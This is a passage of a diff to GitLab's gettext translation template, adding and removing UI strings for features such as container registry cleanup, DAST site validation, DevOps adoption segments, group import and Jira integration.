+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
msgstr ""
-msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
@@ -7413,12 +7635,6 @@ msgstr ""
msgid "ContainerRegistry|We are having trouble connecting to the Registry, which could be due to an issue with your project name or path. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
-msgid "ContainerRegistry|Wildcards such as %{codeStart}.*-master%{codeEnd} or %{codeStart}release-.*%{codeEnd} are supported"
-msgstr ""
-
-msgid "ContainerRegistry|Wildcards such as %{codeStart}.*-test%{codeEnd} or %{codeStart}dev-.*%{codeEnd} are supported. To select all tags, use %{codeStart}.*%{codeEnd}"
-msgstr ""
-
msgid "ContainerRegistry|With the Container Registry, every project can have its own space to store its Docker images. %{docLinkStart}More Information%{docLinkEnd}"
msgstr ""
@@ -7575,6 +7791,9 @@ msgstr ""
msgid "Copy branch name"
msgstr ""
+msgid "Copy codes"
+msgstr ""
+
msgid "Copy command"
msgstr ""
@@ -7808,15 +8027,12 @@ msgstr ""
msgid "Create an account using:"
msgstr ""
-msgid "Create an issue. Issues are created for each alert triggered."
+msgid "Create an incident. Incidents are created for each alert triggered."
msgstr ""
msgid "Create and provide your GitHub %{link_start}Personal Access Token%{link_end}. You will need to select the %{code_open}repo%{code_close} scope, so we can display a list of your public and private repositories which are available to import."
msgstr ""
-msgid "Create board"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -7874,9 +8090,6 @@ msgstr ""
msgid "Create new Value Stream"
msgstr ""
-msgid "Create new board"
-msgstr ""
-
msgid "Create new branch"
msgstr ""
@@ -8033,6 +8246,9 @@ msgstr ""
msgid "Crossplane"
msgstr ""
+msgid "Current"
+msgstr ""
+
msgid "Current Branch"
msgstr ""
@@ -8168,9 +8384,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8413,9 +8626,6 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
-msgid "DastProfiles|Copy HTTP header to clipboard"
-msgstr ""
-
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -8461,9 +8671,6 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
@@ -8476,7 +8683,7 @@ msgstr ""
msgid "DastProfiles|Error Details"
msgstr ""
-msgid "DastProfiles|Header validation"
+msgid "DastProfiles|Excluded URLs"
msgstr ""
msgid "DastProfiles|Hide debug messages"
@@ -8509,6 +8716,9 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
@@ -8524,6 +8734,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request headers"
+msgstr ""
+
msgid "DastProfiles|Run the AJAX spider, in addition to the traditional spider, to crawl the target site."
msgstr ""
@@ -8551,58 +8764,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 2 - Add following HTTP header to your site"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm header location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Download validation text file"
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Header validation"
msgstr ""
-msgid "DastProfiles|Username"
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
msgstr ""
-msgid "DastProfiles|Username form field"
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
+msgstr ""
+
+msgid "DastSiteValidation|The validation has failed. Please try again."
+msgstr ""
+
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
+msgstr ""
+
+msgid "DastSiteValidation|Validate"
+msgstr ""
+
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the chosen method."
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8716,9 +8956,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8731,6 +8968,9 @@ msgstr ""
msgid "Define a custom pattern with cron syntax"
msgstr ""
+msgid "Define approval settings."
+msgstr ""
+
msgid "Define custom rules for what constitutes spam, independent of Akismet"
msgstr ""
@@ -8743,7 +8983,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8779,9 +9019,6 @@ msgstr ""
msgid "Delete badge"
msgstr ""
-msgid "Delete board"
-msgstr ""
-
msgid "Delete comment"
msgstr ""
@@ -9232,6 +9469,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9244,10 +9484,10 @@ msgstr ""
msgid "Describe the goal of the changes and what reviewers should be aware of."
msgstr ""
-msgid "Describe the requirement here"
+msgid "Description"
msgstr ""
-msgid "Description"
+msgid "Description (optional)"
msgstr ""
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
@@ -9439,40 +9679,127 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|Adopted"
+msgstr ""
+
+msgid "DevopsAdoption|An error occured while deleting the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
msgid "DevopsAdoption|Approvals"
msgstr ""
+msgid "DevopsAdoption|Are you sure that you would like to delete %{name}?"
+msgstr ""
+
+msgid "DevopsAdoption|At least 1 MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least 1 approval on an MR"
+msgstr ""
+
+msgid "DevopsAdoption|At least 1 deploy"
+msgstr ""
+
+msgid "DevopsAdoption|At least 1 issue opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgstr ""
+
+msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Confirm delete segment"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Delete segment"
+msgstr ""
+
msgid "DevopsAdoption|Deploys"
msgstr ""
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Edit segment"
+msgstr ""
+
+msgid "DevopsAdoption|Feature adoption is based on usage in the last calendar month. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Filter by name"
+msgstr ""
+
msgid "DevopsAdoption|Issues"
msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
+msgid "DevopsAdoption|Maximum %{maxSegments} segments allowed"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|No filter results."
+msgstr ""
+
+msgid "DevopsAdoption|Not adopted"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
+msgid "DevopsAdoption|Runner configured for project/group"
+msgstr ""
+
msgid "DevopsAdoption|Runners"
msgstr ""
+msgid "DevopsAdoption|Save changes"
+msgstr ""
+
msgid "DevopsAdoption|Scanning"
msgstr ""
msgid "DevopsAdoption|Segment"
msgstr ""
-msgid "DevopsAdoption|There was an error fetching Groups"
+msgid "DevopsAdoption|Segment data pending until the start of next month"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
msgstr ""
msgid "DevopsReport|Adoption"
@@ -9675,9 +10002,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9882,9 +10206,6 @@ msgstr ""
msgid "Edit application"
msgstr ""
-msgid "Edit board"
-msgstr ""
-
msgid "Edit comment"
msgstr ""
@@ -9912,6 +10233,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9948,6 +10272,9 @@ msgstr ""
msgid "Editing"
msgstr ""
+msgid "Editor Lite instance is required to set up an extension."
+msgstr ""
+
msgid "Elasticsearch AWS IAM credentials"
msgstr ""
@@ -10113,6 +10440,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10206,6 +10536,9 @@ msgstr ""
msgid "Enable shared runners for this group"
msgstr ""
+msgid "Enable shared runners for this project"
+msgstr ""
+
msgid "Enable smartcn custom analyzer: Indexing"
msgstr ""
@@ -10257,6 +10590,9 @@ msgstr ""
msgid "End Time"
msgstr ""
+msgid "Ends at %{endsAt}"
+msgstr ""
+
msgid "Ends at (UTC)"
msgstr ""
@@ -10293,9 +10629,6 @@ msgstr ""
msgid "Enter at least three characters to search"
msgstr ""
-msgid "Enter board name"
-msgstr ""
-
msgid "Enter domain"
msgstr ""
@@ -10479,6 +10812,9 @@ msgstr ""
msgid "Environments|Deployment"
msgstr ""
+msgid "Environments|Deployment %{status}"
+msgstr ""
+
msgid "Environments|Enable review app"
msgstr ""
@@ -10596,6 +10932,12 @@ msgstr ""
msgid "Environments|This action will run the job defined by %{name} for commit %{linkStart}%{commitId}%{linkEnd} putting the environment in a previous version. You can revert it by re-deploying the latest version of your application. Are you sure you want to continue?"
msgstr ""
+msgid "Environments|Upcoming"
+msgstr ""
+
+msgid "Environments|Upcoming deployment"
+msgstr ""
+
msgid "Environments|Updated"
msgstr ""
@@ -10656,9 +10998,6 @@ msgstr ""
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
-msgid "Epics|More information"
-msgstr ""
-
msgid "Epics|Remove epic"
msgstr ""
@@ -10764,9 +11103,6 @@ msgstr ""
msgid "Error fetching payload data."
msgstr ""
-msgid "Error fetching projects"
-msgstr ""
-
msgid "Error fetching refs"
msgstr ""
@@ -10818,9 +11154,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10905,9 +11238,18 @@ msgstr ""
msgid "Error: %{error_message}"
msgstr ""
+msgid "Error: No AWS credentials were supplied"
+msgstr ""
+
+msgid "Error: No AWS provision role found for user"
+msgstr ""
+
msgid "Error: Unable to create deploy freeze"
msgstr ""
+msgid "Error: Unable to find AWS role for current user"
+msgstr ""
+
msgid "ErrorTracking|Active"
msgstr ""
@@ -11022,22 +11364,22 @@ msgstr ""
msgid "Everything on your to-do list is marked as done."
msgstr ""
-msgid "Everything you need to create a GitLab Pages site using Gatsby."
+msgid "Everything you need to create a GitLab Pages site using Gatsby"
msgstr ""
-msgid "Everything you need to create a GitLab Pages site using GitBook."
+msgid "Everything you need to create a GitLab Pages site using GitBook"
msgstr ""
-msgid "Everything you need to create a GitLab Pages site using Hexo."
+msgid "Everything you need to create a GitLab Pages site using Hexo"
msgstr ""
-msgid "Everything you need to create a GitLab Pages site using Hugo."
+msgid "Everything you need to create a GitLab Pages site using Hugo"
msgstr ""
-msgid "Everything you need to create a GitLab Pages site using Jekyll."
+msgid "Everything you need to create a GitLab Pages site using Jekyll"
msgstr ""
-msgid "Everything you need to create a GitLab Pages site using plain HTML."
+msgid "Everything you need to create a GitLab Pages site using plain HTML"
msgstr ""
msgid "Evidence collection"
@@ -11118,6 +11460,9 @@ msgstr ""
msgid "Experienced"
msgstr ""
+msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgstr ""
+
msgid "Expiration"
msgstr ""
@@ -11247,11 +11592,6 @@ msgstr ""
msgid "Failed"
msgstr ""
-msgid "Failed %d time in the last 14 days"
-msgid_plural "Failed %d times in the last 14 days"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Failed Jobs"
msgstr ""
@@ -11282,6 +11622,12 @@ msgstr ""
msgid "Failed to check related branches."
msgstr ""
+msgid "Failed to clone this issue because target project doesn't exist."
+msgstr ""
+
+msgid "Failed to clone this issue: wrong parameters."
+msgstr ""
+
msgid "Failed to create Merge Request. Please try again."
msgstr ""
@@ -11291,6 +11637,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11306,9 +11655,6 @@ msgstr ""
msgid "Failed to create wiki"
msgstr ""
-msgid "Failed to delete board. Please try again."
-msgstr ""
-
msgid "Failed to deploy to"
msgstr ""
@@ -11426,6 +11772,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11456,6 +11805,9 @@ msgstr ""
msgid "Failed to update environment!"
msgstr ""
+msgid "Failed to update framework"
+msgstr ""
+
msgid "Failed to update issue status"
msgstr ""
@@ -11608,9 +11960,6 @@ msgstr ""
msgid "FeatureFlags|Feature Flags"
msgstr ""
-msgid "FeatureFlags|Feature Flags will look different in the next milestone. No action is needed, but you may notice the functionality was changed to improve the workflow."
-msgstr ""
-
msgid "FeatureFlags|Feature flag %{name} will be removed. Are you sure?"
msgstr ""
@@ -11629,6 +11978,9 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
+msgid "FeatureFlags|Get started with user lists"
+msgstr ""
+
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
@@ -11743,6 +12095,9 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
+msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "FeatureFlag|Percentage"
msgstr ""
@@ -11770,6 +12125,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11842,6 +12200,9 @@ msgstr ""
msgid "Filter"
msgstr ""
+msgid "Filter by"
+msgstr ""
+
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
@@ -11875,12 +12236,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by requirements that are currently archived."
-msgstr ""
-
-msgid "Filter by requirements that are currently opened."
-msgstr ""
-
msgid "Filter by status"
msgstr ""
@@ -11938,12 +12293,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -12013,9 +12362,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -12100,6 +12446,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -12127,9 +12476,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12559,6 +12905,9 @@ msgstr ""
msgid "Get started"
msgstr ""
+msgid "Get started with a project that follows best practices for setting up GitLab for your own organization, including sample Issues, Merge Requests, and Milestones"
+msgstr ""
+
msgid "Get started with error tracking"
msgstr ""
@@ -12652,6 +13001,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12853,7 +13205,7 @@ msgstr ""
msgid "Go Back"
msgstr ""
-msgid "Go Micro is a framework for micro service development."
+msgid "Go Micro is a framework for micro service development"
msgstr ""
msgid "Go back"
@@ -12868,9 +13220,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12985,12 +13334,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13090,9 +13433,6 @@ msgstr ""
msgid "Group by"
msgstr ""
-msgid "Group description"
-msgstr ""
-
msgid "Group description (optional)"
msgstr ""
@@ -13225,6 +13565,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13420,6 +13766,12 @@ msgstr ""
msgid "GroupSettings|Changing group URL can have unintended side effects."
msgstr ""
+msgid "GroupSettings|Compliance frameworks"
+msgstr ""
+
+msgid "GroupSettings|Configure frameworks to apply enforceable rules to projects."
+msgstr ""
+
msgid "GroupSettings|Custom project templates"
msgstr ""
@@ -13588,6 +13940,9 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|Connect instance"
+msgstr ""
+
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
@@ -13597,22 +13952,46 @@ msgstr ""
msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import a GitLab group export file"
+msgid "GroupsNew|Import"
msgstr ""
msgid "GroupsNew|Import group"
msgstr ""
+msgid "GroupsNew|Import groups from another instance of GitLab"
+msgstr ""
+
msgid "GroupsNew|My Awesome Group"
msgstr ""
+msgid "GroupsNew|Navigate to user settings to find your %{link_start}personal access token%{link_end}."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
-msgid "GroupsNew|To copy a GitLab group between installations, navigate to the group settings page for the original installation, generate an export file, and upload it here."
+msgid "GroupsNew|Personal access token"
+msgstr ""
+
+msgid "GroupsNew|Please fill in GitLab source URL."
+msgstr ""
+
+msgid "GroupsNew|Please fill in your personal access token."
+msgstr ""
+
+msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
+msgstr ""
+
+msgid "GroupsNew|To import a group, navigate to the group settings for the GitLab source instance, %{link_start}generate an export file%{link_end}, and upload it here."
+msgstr ""
+
+msgid "GroupsNew|Upload file"
+msgstr ""
+
+msgid "GroupsNew|e.g. h8d3f016698e..."
msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
@@ -13693,6 +14072,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -14064,12 +14446,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -14082,6 +14458,12 @@ msgstr ""
msgid "Import from Jira"
msgstr ""
+msgid "Import group from file"
+msgstr ""
+
+msgid "Import groups"
+msgstr ""
+
msgid "Import in progress"
msgstr ""
@@ -14121,9 +14503,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -14133,6 +14512,9 @@ msgstr ""
msgid "Import repository"
msgstr ""
+msgid "Import requirements"
+msgstr ""
+
msgid "Import started by: %{importInitiator}"
msgstr ""
@@ -14193,15 +14575,6 @@ msgstr ""
msgid "Imported requirements"
msgstr ""
-msgid "Improve Issue Boards"
-msgstr ""
-
-msgid "Improve Issue boards"
-msgstr ""
-
-msgid "Improve Issue boards with GitLab Enterprise Edition."
-msgstr ""
-
msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
msgstr ""
@@ -14223,15 +14596,15 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
+msgid "Incident template (optional)"
+msgstr ""
+
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
msgstr ""
@@ -14388,13 +14761,13 @@ msgstr ""
msgid "Includes LFS objects. It can be overridden per group, or per project. 0 for unlimited."
msgstr ""
-msgid "Includes an MVC structure to help you get started."
+msgid "Includes an MVC structure to help you get started"
msgstr ""
-msgid "Includes an MVC structure, Gemfile, Rakefile, along with many others, to help you get started."
+msgid "Includes an MVC structure, Gemfile, Rakefile, along with many others, to help you get started"
msgstr ""
-msgid "Includes an MVC structure, mvnw and pom.xml to help you get started."
+msgid "Includes an MVC structure, mvnw and pom.xml to help you get started"
msgstr ""
msgid "Incoming email"
@@ -14403,15 +14776,15 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
msgid "Incompatible project"
msgstr ""
+msgid "Incomplete"
+msgstr ""
+
msgid "Indent"
msgstr ""
@@ -14687,6 +15060,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14708,6 +15084,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14738,9 +15117,6 @@ msgstr ""
msgid "Introducing Your DevOps Report"
msgstr ""
-msgid "Invalid Git ref"
-msgstr ""
-
msgid "Invalid Insights config file detected"
msgstr ""
@@ -14846,9 +15222,6 @@ msgstr ""
msgid "Invite Members"
msgstr ""
-msgid "Invite another teammate"
-msgstr ""
-
msgid "Invite group"
msgstr ""
@@ -14858,9 +15231,6 @@ msgstr ""
msgid "Invite team members"
msgstr ""
-msgid "Invite teammates (optional)"
-msgstr ""
-
msgid "Invite your team"
msgstr ""
@@ -14930,6 +15300,24 @@ msgstr ""
msgid "InviteMembers|Invite team members"
msgstr ""
+msgid "InviteMember|Add members to this project and start collaborating with your team."
+msgstr ""
+
+msgid "InviteMember|Invite Members (optional)"
+msgstr ""
+
+msgid "InviteMember|Invite another member"
+msgstr ""
+
+msgid "InviteMember|Invite members"
+msgstr ""
+
+msgid "InviteMember|Invite your team"
+msgstr ""
+
+msgid "InviteMember|Invited users will be added with developer level permissions. %{linkStart}View the documentation%{linkEnd} to see how to change this later."
+msgstr ""
+
msgid "InviteMember|Oops, this feature isn't ready yet"
msgstr ""
@@ -14987,9 +15375,6 @@ msgstr ""
msgid "Invited"
msgstr ""
-msgid "Invited users will be added with developer level permissions. You can always change this later."
-msgstr ""
-
msgid "Invocations"
msgstr ""
@@ -15056,9 +15441,6 @@ msgstr ""
msgid "Issue published on status page."
msgstr ""
-msgid "Issue template (optional)"
-msgstr ""
-
msgid "Issue update failed"
msgstr ""
@@ -15215,6 +15597,9 @@ msgstr ""
msgid "Iteration changed to"
msgstr ""
+msgid "Iteration lists not available with your current license"
+msgstr ""
+
msgid "Iteration removed"
msgstr ""
@@ -15233,10 +15618,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15299,6 +15684,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|For example, 12, 24"
+msgstr ""
+
msgid "JiraService|If different from Web URL"
msgstr ""
@@ -15323,19 +15711,19 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Open Jira"
+msgid "JiraService|Jira workflow transition IDs"
msgstr ""
-msgid "JiraService|Password or API token"
+msgid "JiraService|Open Jira"
msgstr ""
-msgid "JiraService|This feature requires a Premium plan."
+msgid "JiraService|Password or API token"
msgstr ""
-msgid "JiraService|Transition ID(s)"
+msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
msgstr ""
-msgid "JiraService|Use , or ; to separate multiple transition IDs"
+msgid "JiraService|This feature requires a Premium plan."
msgstr ""
msgid "JiraService|Use a password for server version and an API token for cloud version"
@@ -15419,6 +15807,18 @@ msgstr ""
msgid "Jobs|Are you sure you want to retry this job?"
msgstr ""
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
msgstr ""
@@ -15551,6 +15951,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15745,6 +16148,9 @@ msgstr ""
msgid "Last seen"
msgstr ""
+msgid "Last sign-in"
+msgstr ""
+
msgid "Last successful sync"
msgstr ""
@@ -15841,9 +16247,6 @@ msgstr ""
msgid "Learn more about adding certificates to your project by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
-msgid "Learn more about approvals."
-msgstr ""
-
